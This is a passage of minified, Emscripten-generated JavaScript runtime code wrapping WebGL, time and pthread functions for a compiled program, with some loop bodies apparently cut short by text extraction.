WebGLTransformFeedback||result instanceof WebGLVertexArrayObject||result instanceof WebGLTexture){ret=result.name|0}else{GL.recordError(1280);return}break;default:GL.recordError(1280);return}}switch(type){case"Integer64":tempI64=[ret>>>0,(tempDouble=ret,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[p>>2]=tempI64[0],HEAP32[p+4>>2]=tempI64[1];break;case"Integer":HEAP32[p>>2]=ret;break;case"Float":HEAPF32[p>>2]=ret;break;case"Boolean":HEAP8[p>>0]=ret?1:0;break;default:throw"internal glGet error, bad type: "+type}}function _glGetIntegerv(name_,p){emscriptenWebGLGet(name_,p,"Integer")}function _glGetInternalformativ(target,internalformat,pname,bufSize,params){if(bufSize<0){GL.recordError(1281);return}var samples=GLctx["getInternalformatParameter"](target,internalformat,32937);if(!samples){GL.recordError(1280);return}switch(pname){case 32937:var n=Math.min(bufSize,samples.length);for(var i=0;i>2]=v}break;case 37760:if(bufSize>1){var v=samples.length;HEAP32[params>>2]=v}break;default:GL.recordError(1280)}}function _glGetProgramBinary(program,bufSize,length,binaryFormat,binary){GL.recordError(1282)}function _glGetProgramInfoLog(program,maxLength,length,infoLog){var log=GLctx.getProgramInfoLog(GL.programs[program]);if(log===null)log="(unknown error)";if(maxLength>0&&infoLog){var numBytesWrittenExclNull=stringToUTF8(log,infoLog,maxLength);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}}function _glGetProgramiv(program,pname,p){if(!p){GL.recordError(1281);return}if(program>=GL.counter){GL.recordError(1281);return}var ptable=GL.programInfos[program];if(!ptable){GL.recordError(1282);return}if(pname==35716){var log=GLctx.getProgramInfoLog(GL.programs[program]);if(log===null)log="(unknown error)";HEAP32[p>>2]=log.length+1}else if(pname==35719){HEAP32[p>>2]=ptable.maxUniformLength}else if(pname==35722){if(ptable.maxAttributeLength==-1){program=GL.programs[program];var numAttribs=GLctx.getProgramParameter(program,GLctx.ACTIVE_ATTRIBUTES);ptable.maxAttributeLength=0;for(var i=0;i>2]=ptable.maxAttributeLength}else if(pname==35381){if(ptable.maxUniformBlockNameLength==-1){program=GL.programs[program];var numBlocks=GLctx.getProgramParameter(program,GLctx.ACTIVE_UNIFORM_BLOCKS);ptable.maxUniformBlockNameLength=0;for(var i=0;i>2]=ptable.maxUniformBlockNameLength}else{HEAP32[p>>2]=GLctx.getProgramParameter(GL.programs[program],pname)}}function _glGetRenderbufferParameteriv(target,pname,params){if(!params){GL.recordError(1281);return}HEAP32[params>>2]=GLctx.getRenderbufferParameter(target,pname)}function _glGetShaderInfoLog(shader,maxLength,length,infoLog){var log=GLctx.getShaderInfoLog(GL.shaders[shader]);if(log===null)log="(unknown error)";if(maxLength>0&&infoLog){var numBytesWrittenExclNull=stringToUTF8(log,infoLog,maxLength);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}}function _glGetShaderPrecisionFormat(shaderType,precisionType,range,precision){var result=GLctx.getShaderPrecisionFormat(shaderType,precisionType);HEAP32[range>>2]=result.rangeMin;HEAP32[range+4>>2]=result.rangeMax;HEAP32[precision>>2]=result.precision}function _glGetShaderSource(shader,bufSize,length,source){var result=GLctx.getShaderSource(GL.shaders[shader]);if(!result)return;if(bufSize>0&&source){var numBytesWrittenExclNull=stringToUTF8(result,source,bufSize);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}}function _glGetShaderiv(shader,pname,p){if(!p){GL.recordError(1281);return}if(pname==35716){var log=GLctx.getShaderInfoLog(GL.shaders[shader]);if(log===null)log="(unknown error)";HEAP32[p>>2]=log.length+1}else if(pname==35720){var source=GLctx.getShaderSource(GL.shaders[shader]);var sourceLength=source===null||source.length==0?0:source.length+1;HEAP32[p>>2]=sourceLength}else{HEAP32[p>>2]=GLctx.getShaderParameter(GL.shaders[shader],pname)}}function _glGetString(name_){if(GL.stringCache[name_])return GL.stringCache[name_];var ret;switch(name_){case 7936:case 7937:case 37445:case 37446:ret=allocate(intArrayFromString(GLctx.getParameter(name_)),"i8",ALLOC_NORMAL);break;case 7938:var glVersion=GLctx.getParameter(GLctx.VERSION);if(GLctx.canvas.GLctxObject.version>=2)glVersion="OpenGL ES 3.0 ("+glVersion+")";else{glVersion="OpenGL ES 2.0 ("+glVersion+")"}ret=allocate(intArrayFromString(glVersion),"i8",ALLOC_NORMAL);break;case 7939:var exts=GLctx.getSupportedExtensions();var gl_exts=[];for(var i=0;i=stringiCache.length){GL.recordError(1281);return 0}return stringiCache[index]}switch(name){case 7939:var exts=GLctx.getSupportedExtensions();var gl_exts=[];for(var i=0;i=stringiCache.length){GL.recordError(1281);return 0}return stringiCache[index];default:GL.recordError(1280);return 0}}function _glGetTexParameteriv(target,pname,params){if(!params){GL.recordError(1281);return}HEAP32[params>>2]=GLctx.getTexParameter(target,pname)}function _glGetUniformBlockIndex(program,uniformBlockName){program=GL.programs[program];uniformBlockName=Pointer_stringify(uniformBlockName);return GLctx["getUniformBlockIndex"](program,uniformBlockName)}function _glGetUniformIndices(program,uniformCount,uniformNames,uniformIndices){if(!uniformIndices){GL.recordError(1281);return}if(uniformCount>0&&(uniformNames==0||uniformIndices==0)){GL.recordError(1281);return}program=GL.programs[program];var names=[];for(var i=0;i>2]));var result=GLctx["getUniformIndices"](program,names);if(!result)return;var len=result.length;for(var i=0;i>2]=result[i]}}function _glGetUniformLocation(program,name){name=Pointer_stringify(name);var arrayOffset=0;if(name.indexOf("]",name.length-1)!==-1){var ls=name.lastIndexOf("[");var arrayIndex=name.slice(ls+1,-1);if(arrayIndex.length>0){arrayOffset=parseInt(arrayIndex);if(arrayOffset<0){return-1}}name=name.slice(0,ls)}var ptable=GL.programInfos[program];if(!ptable){return-1}var utable=ptable.uniforms;var uniformInfo=utable[name];if(uniformInfo&&arrayOffset>2]=data;break;case"Float":HEAPF32[params>>2]=data;break;default:throw"internal emscriptenWebGLGetUniform() error, bad type: "+type}}else{for(var i=0;i>2]=data[i];break;case"Float":HEAPF32[params+i*4>>2]=data[i];break;default:throw"internal emscriptenWebGLGetUniform() error, bad type: "+type}}}}function _glGetUniformiv(program,location,params){emscriptenWebGLGetUniform(program,location,params,"Integer")}function emscriptenWebGLGetVertexAttrib(index,pname,params,type){if(!params){GL.recordError(1281);return}var data=GLctx.getVertexAttrib(index,pname);if(pname==34975){HEAP32[params>>2]=data["name"]}else if(typeof data=="number"||typeof data=="boolean"){switch(type){case"Integer":HEAP32[params>>2]=data;break;case"Float":HEAPF32[params>>2]=data;break;case"FloatToInteger":HEAP32[params>>2]=Math.fround(data);break;default:throw"internal emscriptenWebGLGetVertexAttrib() error, bad type: "+type}}else{for(var i=0;i>2]=data[i];break;case"Float":HEAPF32[params+i*4>>2]=data[i];break;case"FloatToInteger":HEAP32[params+i*4>>2]=Math.fround(data[i]);break;default:throw"internal emscriptenWebGLGetVertexAttrib() error, bad type: "+type}}}}function _glGetVertexAttribiv(index,pname,params){emscriptenWebGLGetVertexAttrib(index,pname,params,"FloatToInteger")}function _glInvalidateFramebuffer(target,numAttachments,attachments){var list=GL.tempFixedLengthArray[numAttachments];for(var i=0;i>2]}GLctx["invalidateFramebuffer"](target,list)}function _glIsEnabled(x0){return GLctx["isEnabled"](x0)}function _glIsVertexArray(array){var vao=GL.vaos[array];if(!vao)return 0;return GLctx["isVertexArray"](vao)}function _glLinkProgram(program){GLctx.linkProgram(GL.programs[program]);GL.programInfos[program]=null;GL.populateUniformTable(program)}function _glMapBufferRange(target,offset,length,access){if(access!=26&&access!=10){err("glMapBufferRange is only supported when access is MAP_WRITE|INVALIDATE_BUFFER");return 0}if(!emscriptenWebGLValidateMapBufferTarget(target)){GL.recordError(1280);err("GL_INVALID_ENUM in glMapBufferRange");return 0}var mem=_malloc(length);if(!mem)return 0;GL.mappedBuffers[emscriptenWebGLGetBufferBinding(target)]={offset:offset,length:length,mem:mem,access:access};return mem}function _glPixelStorei(pname,param){if(pname==3333){GL.packAlignment=param}else if(pname==3317){GL.unpackAlignment=param}GLctx.pixelStorei(pname,param)}function _glPolygonOffset(x0,x1){GLctx["polygonOffset"](x0,x1)}function _glProgramBinary(program,binaryFormat,binary,length){GL.recordError(1280)}function _glProgramParameteri(program,pname,value){GL.recordError(1280)}function _glReadBuffer(x0){GLctx["readBuffer"](x0)}function emscriptenWebGLComputeImageSize(width,height,sizePerPixel,alignment){function roundedToNextMultipleOf(x,y){return Math.floor((x+y-1)/y)*y}var plainRowSize=width*sizePerPixel;var alignedRowSize=roundedToNextMultipleOf(plainRowSize,alignment);return height<=0?0:(height-1)*alignedRowSize+plainRowSize}function emscriptenWebGLGetTexPixelData(type,format,width,height,pixels,internalFormat){var sizePerPixel;var numChannels;switch(format){case 6406:case 6409:case 6402:case 6403:case 36244:numChannels=1;break;case 6410:case 33319:case 33320:numChannels=2;break;case 6407:case 35904:case 36248:numChannels=3;break;case 6408:case 35906:case 36249:numChannels=4;break;default:GL.recordError(1280);return null}switch(type){case 5121:case 5120:sizePerPixel=numChannels*1;break;case 5123:case 36193:case 5131:case 5122:sizePerPixel=numChannels*2;break;case 5125:case 5126:case 5124:sizePerPixel=numChannels*4;break;case 34042:case 35902:case 33640:case 35899:case 34042:sizePerPixel=4;break;case 33635:case 32819:case 32820:sizePerPixel=2;break;default:GL.recordError(1280);return null}var bytes=emscriptenWebGLComputeImageSize(width,height,sizePerPixel,GL.unpackAlignment);switch(type){case 5120:return HEAP8.subarray(pixels,pixels+bytes);case 5121:return HEAPU8.subarray(pixels,pixels+bytes);case 5122:return HEAP16.subarray(pixels>>1,pixels+bytes>>1);case 5124:return HEAP32.subarray(pixels>>2,pixels+bytes>>2);case 5126:return HEAPF32.subarray(pixels>>2,pixels+bytes>>2);case 5125:case 34042:case 35902:case 33640:case 35899:case 34042:return HEAPU32.subarray(pixels>>2,pixels+bytes>>2);case 5123:case 33635:case 32819:case 32820:case 36193:case 5131:return HEAPU16.subarray(pixels>>1,pixels+bytes>>1);default:GL.recordError(1280);return null}}function emscriptenWebGLGetHeapForType(type){switch(type){case 5120:return HEAP8;case 5121:return HEAPU8;case 5122:return HEAP16;case 5123:case 33635:case 32819:case 32820:case 36193:case 5131:return HEAPU16;case 5124:return HEAP32;case 5125:case 34042:case 35902:case 33640:case 35899:case 34042:return HEAPU32;case 5126:return HEAPF32;default:return null}}function emscriptenWebGLGetShiftForType(type){switch(type){case 5120:case 5121:return 0;case 5122:case 5123:case 33635:case 32819:case 32820:case 36193:case 5131:return 1;case 5124:case 5126:case 5125:case 34042:case 35902:case 33640:case 35899:case 34042:return 2;default:return 0}}function _glReadPixels(x,y,width,height,format,type,pixels){if(GL.currentContext.supportsWebGL2EntryPoints){if(GLctx.currentPixelPackBufferBinding){GLctx.readPixels(x,y,width,height,format,type,pixels)}else{GLctx.readPixels(x,y,width,height,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}return}var pixelData=emscriptenWebGLGetTexPixelData(type,format,width,height,pixels,format);if(!pixelData){GL.recordError(1280);return}GLctx.readPixels(x,y,width,height,format,type,pixelData)}function _glRenderbufferStorage(x0,x1,x2,x3){GLctx["renderbufferStorage"](x0,x1,x2,x3)}function _glRenderbufferStorageMultisample(x0,x1,x2,x3,x4){GLctx["renderbufferStorageMultisample"](x0,x1,x2,x3,x4)}function _glSamplerParameteri(sampler,pname,param){GLctx["samplerParameteri"](sampler?GL.samplers[sampler]:null,pname,param)}function _glScissor(x0,x1,x2,x3){GLctx["scissor"](x0,x1,x2,x3)}function _glShaderSource(shader,count,string,length){var source=GL.getSource(shader,count,string,length);GLctx.shaderSource(GL.shaders[shader],source)}function _glStencilFuncSeparate(x0,x1,x2,x3){GLctx["stencilFuncSeparate"](x0,x1,x2,x3)}function _glStencilMask(x0){GLctx["stencilMask"](x0)}function _glStencilOpSeparate(x0,x1,x2,x3){GLctx["stencilOpSeparate"](x0,x1,x2,x3)}function _glTexImage2D(target,level,internalFormat,width,height,border,format,type,pixels){if(GL.currentContext.supportsWebGL2EntryPoints){if(GLctx.currentPixelUnpackBufferBinding){GLctx.texImage2D(target,level,internalFormat,width,height,border,format,type,pixels)}else if(pixels!=0){GLctx.texImage2D(target,level,internalFormat,width,height,border,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}else{GLctx.texImage2D(target,level,internalFormat,width,height,border,format,type,null)}return}var pixelData=null;if(pixels)pixelData=emscriptenWebGLGetTexPixelData(type,format,width,height,pixels,internalFormat);GLctx.texImage2D(target,level,internalFormat,width,height,border,format,type,pixelData)}function _glTexImage3D(target,level,internalFormat,width,height,depth,border,format,type,pixels){if(GLctx.currentPixelUnpackBufferBinding){GLctx["texImage3D"](target,level,internalFormat,width,height,depth,border,format,type,pixels)}else if(pixels!=0){GLctx["texImage3D"](target,level,internalFormat,width,height,depth,border,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}else{GLctx["texImage3D"](target,level,internalFormat,width,height,depth,border,format,type,null)}}function _glTexParameterf(x0,x1,x2){GLctx["texParameterf"](x0,x1,x2)}function _glTexParameteri(x0,x1,x2){GLctx["texParameteri"](x0,x1,x2)}function _glTexParameteriv(target,pname,params){var param=HEAP32[params>>2];GLctx.texParameteri(target,pname,param)}function _glTexStorage2D(x0,x1,x2,x3,x4){GLctx["texStorage2D"](x0,x1,x2,x3,x4)}function _glTexStorage3D(x0,x1,x2,x3,x4,x5){GLctx["texStorage3D"](x0,x1,x2,x3,x4,x5)}function _glTexSubImage2D(target,level,xoffset,yoffset,width,height,format,type,pixels){if(GL.currentContext.supportsWebGL2EntryPoints){if(GLctx.currentPixelUnpackBufferBinding){GLctx.texSubImage2D(target,level,xoffset,yoffset,width,height,format,type,pixels)}else if(pixels!=0){GLctx.texSubImage2D(target,level,xoffset,yoffset,width,height,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}else{GLctx.texSubImage2D(target,level,xoffset,yoffset,width,height,format,type,null)}return}var pixelData=null;if(pixels)pixelData=emscriptenWebGLGetTexPixelData(type,format,width,height,pixels,0);GLctx.texSubImage2D(target,level,xoffset,yoffset,width,height,format,type,pixelData)}function _glTexSubImage3D(target,level,xoffset,yoffset,zoffset,width,height,depth,format,type,pixels){if(GLctx.currentPixelUnpackBufferBinding){GLctx["texSubImage3D"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,type,pixels)}else if(pixels!=0){GLctx["texSubImage3D"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}else{GLctx["texSubImage3D"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,type,null)}}function _glTransformFeedbackVaryings(program,count,varyings,bufferMode){program=GL.programs[program];var vars=[];for(var i=0;i>2]));GLctx["transformFeedbackVaryings"](program,vars,bufferMode)}function _glUniform1fv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform1fv(GL.uniforms[location],HEAPF32,value>>2,count);return}var view;if(count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[count-1];for(var i=0;i>2]}}else{view=HEAPF32.subarray(value>>2,value+count*4>>2)}GLctx.uniform1fv(GL.uniforms[location],view)}function _glUniform1i(location,v0){GLctx.uniform1i(GL.uniforms[location],v0)}function _glUniform1iv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform1iv(GL.uniforms[location],HEAP32,value>>2,count);return}GLctx.uniform1iv(GL.uniforms[location],HEAP32.subarray(value>>2,value+count*4>>2))}function _glUniform1uiv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform1uiv(GL.uniforms[location],HEAPU32,value>>2,count)}else{GLctx.uniform1uiv(GL.uniforms[location],HEAPU32.subarray(value>>2,value+count*4>>2))}}function _glUniform2fv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform2fv(GL.uniforms[location],HEAPF32,value>>2,count*2);return}var view;if(2*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[2*count-1];for(var i=0;i<2*count;i+=2){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*8>>2)}GLctx.uniform2fv(GL.uniforms[location],view)}function _glUniform2iv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform2iv(GL.uniforms[location],HEAP32,value>>2,count*2);return}GLctx.uniform2iv(GL.uniforms[location],HEAP32.subarray(value>>2,value+count*8>>2))}function _glUniform2uiv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform2uiv(GL.uniforms[location],HEAPU32,value>>2,count*2)}else{GLctx.uniform2uiv(GL.uniforms[location],HEAPU32.subarray(value>>2,value+count*8>>2))}}function _glUniform3fv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform3fv(GL.uniforms[location],HEAPF32,value>>2,count*3);return}var view;if(3*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[3*count-1];for(var i=0;i<3*count;i+=3){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2];view[i+2]=HEAPF32[value+(4*i+8)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*12>>2)}GLctx.uniform3fv(GL.uniforms[location],view)}function _glUniform3iv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform3iv(GL.uniforms[location],HEAP32,value>>2,count*3);return}GLctx.uniform3iv(GL.uniforms[location],HEAP32.subarray(value>>2,value+count*12>>2))}function _glUniform3uiv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform3uiv(GL.uniforms[location],HEAPU32,value>>2,count*3)}else{GLctx.uniform3uiv(GL.uniforms[location],HEAPU32.subarray(value>>2,value+count*12>>2))}}function _glUniform4fv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform4fv(GL.uniforms[location],HEAPF32,value>>2,count*4);return}var view;if(4*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[4*count-1];for(var i=0;i<4*count;i+=4){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2];view[i+2]=HEAPF32[value+(4*i+8)>>2];view[i+3]=HEAPF32[value+(4*i+12)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*16>>2)}GLctx.uniform4fv(GL.uniforms[location],view)}function _glUniform4iv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform4iv(GL.uniforms[location],HEAP32,value>>2,count*4);return}GLctx.uniform4iv(GL.uniforms[location],HEAP32.subarray(value>>2,value+count*16>>2))}function _glUniform4uiv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform4uiv(GL.uniforms[location],HEAPU32,value>>2,count*4)}else{GLctx.uniform4uiv(GL.uniforms[location],HEAPU32.subarray(value>>2,value+count*16>>2))}}function _glUniformBlockBinding(program,uniformBlockIndex,uniformBlockBinding){program=GL.programs[program];GLctx["uniformBlockBinding"](program,uniformBlockIndex,uniformBlockBinding)}function _glUniformMatrix3fv(location,count,transpose,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniformMatrix3fv(GL.uniforms[location],!!transpose,HEAPF32,value>>2,count*9);return}var view;if(9*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[9*count-1];for(var i=0;i<9*count;i+=9){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2];view[i+2]=HEAPF32[value+(4*i+8)>>2];view[i+3]=HEAPF32[value+(4*i+12)>>2];view[i+4]=HEAPF32[value+(4*i+16)>>2];view[i+5]=HEAPF32[value+(4*i+20)>>2];view[i+6]=HEAPF32[value+(4*i+24)>>2];view[i+7]=HEAPF32[value+(4*i+28)>>2];view[i+8]=HEAPF32[value+(4*i+32)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*36>>2)}GLctx.uniformMatrix3fv(GL.uniforms[location],!!transpose,view)}function _glUniformMatrix4fv(location,count,transpose,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniformMatrix4fv(GL.uniforms[location],!!transpose,HEAPF32,value>>2,count*16);return}var view;if(16*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[16*count-1];for(var i=0;i<16*count;i+=16){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2];view[i+2]=HEAPF32[value+(4*i+8)>>2];view[i+3]=HEAPF32[value+(4*i+12)>>2];view[i+4]=HEAPF32[value+(4*i+16)>>2];view[i+5]=HEAPF32[value+(4*i+20)>>2];view[i+6]=HEAPF32[value+(4*i+24)>>2];view[i+7]=HEAPF32[value+(4*i+28)>>2];view[i+8]=HEAPF32[value+(4*i+32)>>2];view[i+9]=HEAPF32[value+(4*i+36)>>2];view[i+10]=HEAPF32[value+(4*i+40)>>2];view[i+11]=HEAPF32[value+(4*i+44)>>2];view[i+12]=HEAPF32[value+(4*i+48)>>2];view[i+13]=HEAPF32[value+(4*i+52)>>2];view[i+14]=HEAPF32[value+(4*i+56)>>2];view[i+15]=HEAPF32[value+(4*i+60)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*64>>2)}GLctx.uniformMatrix4fv(GL.uniforms[location],!!transpose,view)}function _glUnmapBuffer(target){if(!emscriptenWebGLValidateMapBufferTarget(target)){GL.recordError(1280);err("GL_INVALID_ENUM in glUnmapBuffer");return 0}var buffer=emscriptenWebGLGetBufferBinding(target);var mapping=GL.mappedBuffers[buffer];if(!mapping){GL.recordError(1282);Module.printError("buffer was never mapped in glUnmapBuffer");return 0}GL.mappedBuffers[buffer]=null;if(!(mapping.access&16))if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.bufferSubData(target,mapping.offset,HEAPU8,mapping.mem,mapping.length)}else{GLctx.bufferSubData(target,mapping.offset,HEAPU8.subarray(mapping.mem,mapping.mem+mapping.length))}_free(mapping.mem);return 1}function _glUseProgram(program){GLctx.useProgram(program?GL.programs[program]:null)}function _glValidateProgram(program){GLctx.validateProgram(GL.programs[program])}function _glVertexAttrib4f(x0,x1,x2,x3,x4){GLctx["vertexAttrib4f"](x0,x1,x2,x3,x4)}function _glVertexAttrib4fv(index,v){GLctx.vertexAttrib4f(index,HEAPF32[v>>2],HEAPF32[v+4>>2],HEAPF32[v+8>>2],HEAPF32[v+12>>2])}function _glVertexAttribIPointer(index,size,type,stride,ptr){var cb=GL.currentContext.clientBuffers[index];if(!GL.currArrayBuffer){cb.size=size;cb.type=type;cb.normalized=false;cb.stride=stride;cb.ptr=ptr;cb.clientside=true;return}cb.clientside=false;GLctx.vertexAttribIPointer(index,size,type,stride,ptr)}function _glVertexAttribPointer(index,size,type,normalized,stride,ptr){GLctx.vertexAttribPointer(index,size,type,!!normalized,stride,ptr)}function _glViewport(x0,x1,x2,x3){GLctx["viewport"](x0,x1,x2,x3)}var ___tm_current=STATICTOP;STATICTOP+=48;var ___tm_timezone=allocate(intArrayFromString("GMT"),"i8",ALLOC_STATIC);function _gmtime_r(time,tmPtr){var date=new Date(HEAP32[time>>2]*1e3);HEAP32[tmPtr>>2]=date.getUTCSeconds();HEAP32[tmPtr+4>>2]=date.getUTCMinutes();HEAP32[tmPtr+8>>2]=date.getUTCHours();HEAP32[tmPtr+12>>2]=date.getUTCDate();HEAP32[tmPtr+16>>2]=date.getUTCMonth();HEAP32[tmPtr+20>>2]=date.getUTCFullYear()-1900;HEAP32[tmPtr+24>>2]=date.getUTCDay();HEAP32[tmPtr+36>>2]=0;HEAP32[tmPtr+32>>2]=0;var start=Date.UTC(date.getUTCFullYear(),0,1,0,0,0,0);var yday=(date.getTime()-start)/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;HEAP32[tmPtr+40>>2]=___tm_timezone;return tmPtr}function _gmtime(time){return _gmtime_r(time,___tm_current)}function _inet_addr(ptr){var addr=__inet_pton4_raw(Pointer_stringify(ptr));if(addr===null){return-1}return addr}var _llvm_ceil_f32=Math_ceil;var _llvm_ceil_f64=Math_ceil;function _llvm_copysign_f64(x,y){return y<0||y===0&&1/y<0?-Math_abs(x):Math_abs(x)}var _llvm_cos_f32=Math_cos;function _llvm_cttz_i32(x){x=x|0;return(x?31-(Math_clz32(x^x-1)|0)|0:32)|0}function _llvm_eh_typeid_for(type){return type}function _llvm_exp2_f32(x){return Math.pow(2,x)}var _llvm_fabs_f32=Math_abs;var _llvm_fabs_f64=Math_abs;var _llvm_floor_f32=Math_floor;var _llvm_floor_f64=Math_floor;function _llvm_log10_f32(x){return Math.log(x)/Math.LN10}function _llvm_log2_f32(x){return Math.log(x)/Math.LN2}var _llvm_pow_f64=Math_pow;var _llvm_sin_f32=Math_sin;var _llvm_sqrt_f32=Math_sqrt;function _llvm_trap(){abort("trap!")}var _llvm_trunc_f32=Math_trunc;function _tzset(){if(_tzset.called)return;_tzset.called=true;HEAP32[__get_timezone()>>2]=(new Date).getTimezoneOffset()*60;var currentYear=(new Date).getFullYear();var winter=new Date(currentYear,0,1);var summer=new Date(currentYear,6,1);HEAP32[__get_daylight()>>2]=Number(winter.getTimezoneOffset()!=summer.getTimezoneOffset());function extractZone(date){var match=date.toTimeString().match(/\(([A-Za-z ]+)\)$/);return match?match[1]:"GMT"}var winterName=extractZone(winter);var summerName=extractZone(summer);var winterNamePtr=allocate(intArrayFromString(winterName),"i8",ALLOC_NORMAL);var summerNamePtr=allocate(intArrayFromString(summerName),"i8",ALLOC_NORMAL);if(summer.getTimezoneOffset()>2]=winterNamePtr;HEAP32[__get_tzname()+4>>2]=summerNamePtr}else{HEAP32[__get_tzname()>>2]=summerNamePtr;HEAP32[__get_tzname()+4>>2]=winterNamePtr}}function _localtime_r(time,tmPtr){_tzset();var date=new Date(HEAP32[time>>2]*1e3);HEAP32[tmPtr>>2]=date.getSeconds();HEAP32[tmPtr+4>>2]=date.getMinutes();HEAP32[tmPtr+8>>2]=date.getHours();HEAP32[tmPtr+12>>2]=date.getDate();HEAP32[tmPtr+16>>2]=date.getMonth();HEAP32[tmPtr+20>>2]=date.getFullYear()-1900;HEAP32[tmPtr+24>>2]=date.getDay();var start=new Date(date.getFullYear(),0,1);var yday=(date.getTime()-start.getTime())/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;HEAP32[tmPtr+36>>2]=-(date.getTimezoneOffset()*60);var summerOffset=(new Date(date.getFullYear(),6,1)).getTimezoneOffset();var winterOffset=start.getTimezoneOffset();var dst=(summerOffset!=winterOffset&&date.getTimezoneOffset()==Math.min(winterOffset,summerOffset))|0;HEAP32[tmPtr+32>>2]=dst;var zonePtr=HEAP32[__get_tzname()+(dst?4:0)>>2];HEAP32[tmPtr+40>>2]=zonePtr;return tmPtr}function _localtime(time){return _localtime_r(time,___tm_current)}function _longjmp(env,value){Module["setThrew"](env,value||1);throw"longjmp"}function _emscripten_memcpy_big(dest,src,num){HEAPU8.set(HEAPU8.subarray(src,src+num),dest);return dest}function _mktime(tmPtr){_tzset();var date=new Date(HEAP32[tmPtr+20>>2]+1900,HEAP32[tmPtr+16>>2],HEAP32[tmPtr+12>>2],HEAP32[tmPtr+8>>2],HEAP32[tmPtr+4>>2],HEAP32[tmPtr>>2],0);var dst=HEAP32[tmPtr+32>>2];var guessedOffset=date.getTimezoneOffset();var start=new Date(date.getFullYear(),0,1);var summerOffset=(new Date(date.getFullYear(),6,1)).getTimezoneOffset();var winterOffset=start.getTimezoneOffset();var dstOffset=Math.min(winterOffset,summerOffset);if(dst<0){HEAP32[tmPtr+32>>2]=Number(summerOffset!=winterOffset&&dstOffset==guessedOffset)}else if(dst>0!=(dstOffset==guessedOffset)){var nonDstOffset=Math.max(winterOffset,summerOffset);var trueOffset=dst>0?dstOffset:nonDstOffset;date.setTime(date.getTime()+(trueOffset-guessedOffset)*6e4)}HEAP32[tmPtr+24>>2]=date.getDay();var yday=(date.getTime()-start.getTime())/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;return date.getTime()/1e3|0}function _usleep(useconds){var msec=useconds/1e3;if((ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER)&&self["performance"]&&self["performance"]["now"]){var start=self["performance"]["now"]();while(self["performance"]["now"]()-start>2];var nanoseconds=HEAP32[rqtp+4>>2];if(rmtp!==0){HEAP32[rmtp>>2]=0;HEAP32[rmtp+4>>2]=0}return _usleep(seconds*1e6+nanoseconds/1e3)}function _pthread_cond_destroy(){return 0}function _pthread_cond_init(){return 0}function _pthread_cond_timedwait(){return 0}function _pthread_cond_wait(){return 0}var PTHREAD_SPECIFIC={};function _pthread_getspecific(key){return PTHREAD_SPECIFIC[key]||0}var PTHREAD_SPECIFIC_NEXT_KEY=1;function _pthread_key_create(key,destructor){if(key==0){return ERRNO_CODES.EINVAL}HEAP32[key>>2]=PTHREAD_SPECIFIC_NEXT_KEY;PTHREAD_SPECIFIC[PTHREAD_SPECIFIC_NEXT_KEY]=0;PTHREAD_SPECIFIC_NEXT_KEY++;return 0}function _pthread_key_delete(key){if(key in PTHREAD_SPECIFIC){delete PTHREAD_SPECIFIC[key];return 0}return ERRNO_CODES.EINVAL}function _pthread_mutex_destroy(){}function _pthread_mutex_init(){}function 